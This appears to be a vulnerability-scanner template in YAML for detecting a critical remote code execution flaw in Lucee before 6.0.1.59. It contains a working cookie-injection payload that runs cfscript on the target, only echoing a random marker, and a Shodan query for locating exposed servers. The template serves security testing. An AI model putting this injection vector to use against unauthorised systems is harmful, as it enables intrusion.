30 lines
706 B
YAML
30 lines
706 B
YAML
id: lucee-rce
|
|
|
|
info:
|
|
name: Lucee < 6.0.1.59 - Remote Code Execution
|
|
author: rootxharsh,iamnoooob,pdresearch
|
|
severity: critical
|
|
reference:
|
|
- https://blog.projectdiscovery.io/hello-lucee-let-us-hack-apple-again
|
|
metadata:
|
|
max-request: 1
|
|
shodan-query: http.title:"Lucee"
|
|
verified: true
|
|
tags: lucee,rce,oast
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET / HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Cookie: CF_CLIENT_=render('<cfscript>writeoutput(ToBinary("{{base64('{{randstr}}')}}"))</cfscript>');
|
|
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- contains(body, "{{randstr}}")
|
|
- contains(header, "cfid")
|
|
- contains(header, "cftoken")
|
|
condition: and
|